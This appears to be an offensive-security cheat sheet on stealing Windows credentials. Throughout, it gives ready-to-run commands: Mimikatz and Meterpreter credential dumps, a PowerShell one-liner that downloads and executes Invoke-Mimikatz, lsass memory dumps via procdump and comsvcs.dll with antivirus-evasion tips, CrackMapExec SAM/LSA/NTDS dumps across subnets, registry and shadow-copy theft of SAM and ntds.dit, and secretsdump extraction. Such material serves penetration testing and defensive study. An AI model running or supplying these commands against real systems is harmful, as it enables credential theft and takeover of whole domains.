Stealing Credentials

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Stealing Credentials

Credentials Mimikatz

#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"

Find other things that Mimikatz can do in this page.

Invoke-Mimikatz

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'

Learn about some possible credentials protections here. This protections could prevent Mimikatz from extracting some credentials.

Credentials with Meterpreter

Use the Credentials Plugin that I have created to search for passwords and hashes inside the victim.

#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump

#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"

#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"

Bypassing AV

Procdump + Mimikatz

As Procdump from SysInternals is a legitimate Microsoft tool, it's not detected by Defender. You can use this tool to dump the lsass process, download the dump and extract the credentials locally from the dump.

{% code title="Dump lsass" %}

#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp

{% endcode %}

{% code title="Extract credentials from the dump" %}

//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords

{% endcode %}

This process is done automatically with SprayKatz: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24

Note: Some AV may detect as malicious the use of procdump.exe to dump lsass.exe, this is because they are detecting the string "procdump.exe" and "lsass.exe". So it is stealthier to pass as an argument the PID of lsass.exe to procdump instead of the name lsass.exe.

Dumping lsass with comsvcs.dll

There’s a DLL called comsvcs.dll, located in C:\Windows\System32 that dumps process memory whenever they crash. This DLL contains a function called MiniDumpW that is written so it can be called with rundll32.exe. The first two arguments are not used, but the third one is split into 3 parts. First part is the process ID that will be dumped, second part is the dump file location, and third part is the word full. There is no other choice. Once these 3 arguments has been parsed, basically this DLL creates the dump file, and dumps the specified process into that dump file. Thanks to this function, we can use comsvcs.dll to dump lsass process instead of uploading procdump and executing it. (This information was extracted from https://en.hackndo.com/remote-lsass-dump-passwords/)

rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full

We just have to keep in mind that this technique can only be executed as SYSTEM.

You can automate this process with lssasy.

Dumping lsass with Task Manager

1. Right click on the Task Bar and click on Task Manager

2. Click on More details

3. Search for "Local Security Authority Process" process in the Processes tab

4. Right click on "Local Security Authority Process" process and click on "Create dump file".

Dumping lsass with procdump

Procdump is a Microsoft signed binary which is a part of sysinternals suite.

Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp

CrackMapExec

Dump SAM hashes

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam

Dump LSA secrets

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa

Dump the NTDS.dit from target DC

cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss

Dump the NTDS.dit password history from target DC

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history

Show the pwdLastSet attribute for each NTDS.dit account

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet

Stealing SAM & SYSTEM

This files should be located in C:\windows\system32\config\SAM and C:\windows\system32\config\SYSTEM. But you cannot just copy them in a regular way because they protected.

From Registry

The easiest way to steal those files is to get a copy from the registry:

reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security

Download those files to your Kali machine and extract the hashes using:

samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL

Volume Shadow Copy

You can perform copy of protected files using this service. You need to be Administrator.

Using vssadmin

vssadmin binary is only available in Windows Server versions

vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit

# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

But you can do the same from Powershell. This is an example of how to copy the SAM file (the hard drive used is "C:" and its saved to C:\users\Public) but you can use this for copying any protected file:

$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
$voume.Delete();if($notrunning -eq 1){$service.Stop()}

Code from the book: https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html

Invoke-NinjaCopy

Finally, you could also use the PS script Invoke-NinjaCopy to make a copy of SAM, SYSTEM and ntds.dit.

Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"

Active Directory Credentials - NTDS.dit

The Ntds.dit file is a database that stores Active Directory data, including information about user objects, groups, and group membership. It includes the password hashes for all users in the domain.

The important NTDS.dit file will be located in: %SystemRoom%/NTDS/ntds.dit This file is a database Extensible Storage Engine (ESE) and is "officially" composed by 3 tables:

• Data Table: Contains the information about the objects (users, groups...)

• Link Table: Information about the relations (member of...)

• SD Table: Contains the security descriptors of each object

More information about this: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/

Windows uses Ntdsa.dll to interact with that file and its used by lsass.exe. Then, part of the NTDS.dit file could be located inside the lsass memory (you can find the latest accessed data probably because of the performance improve by using a cache).

Decrypting the hashes inside NTDS.dit

The hash is cyphered 3 times:

1. Decrypt Password Encryption Key (PEK) using the BOOTKEY and RC4.

2. Decrypt tha hash using PEK and RC4.

3. Decrypt the hash using DES.

PEK have the same value in every domain controller, but it is cyphered inside the NTDS.dit file using the BOOTKEY of the SYSTEM file of the domain controller (is different between domain controllers). This is why to get the credentials from the NTDS.dit file you need the files NTDS.dit and SYSTEM (C:\Windows\System32\config\SYSTEM).

Copying NTDS.dit using Ntdsutil

Available since Windows Server 2008.

ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit

You could also use the volume shadow copy trick to copy the ntds.dit file. Remember that you will also need a copy of the SYSTEM file (again, dump it from the registry or use the volume shadow copy trick).

Extracting hashes from NTDS.dit

Once you have obtained the files NTDS.dit and SYSTEM you can use tools like secretsdump.py to extract the hashes:

secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt

You can also extract them automatically using a valid domain admin user:

secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>

For big NTDS.dit files it's recommend to extract it using gosecretsdump.

Finally, you can also use the metasploit module: post/windows/gather/credentials/domain_hashdump or mimikatz lsadump::lsa /inject

Lazagne

Download the binary from here. you can use this binary to extract credentials from several software.

lazagne.exe all

Other tools for extracting credentials from SAM and LSASS

Windows credentials Editor (WCE)

This tool can be used to extract credentials from the memory. Download it from: http://www.ampliasecurity.com/research/windows-credentials-editor/

fgdump

Extract credentials from the SAM file

You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe

PwDump

Extract credentials from the SAM file

You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump

PwDump7

Download it from: http://www.tarasco.org/security/pwdump_7 and just execute it and the passwords will be extracted.

Defenses

Learn about some credentials protections here.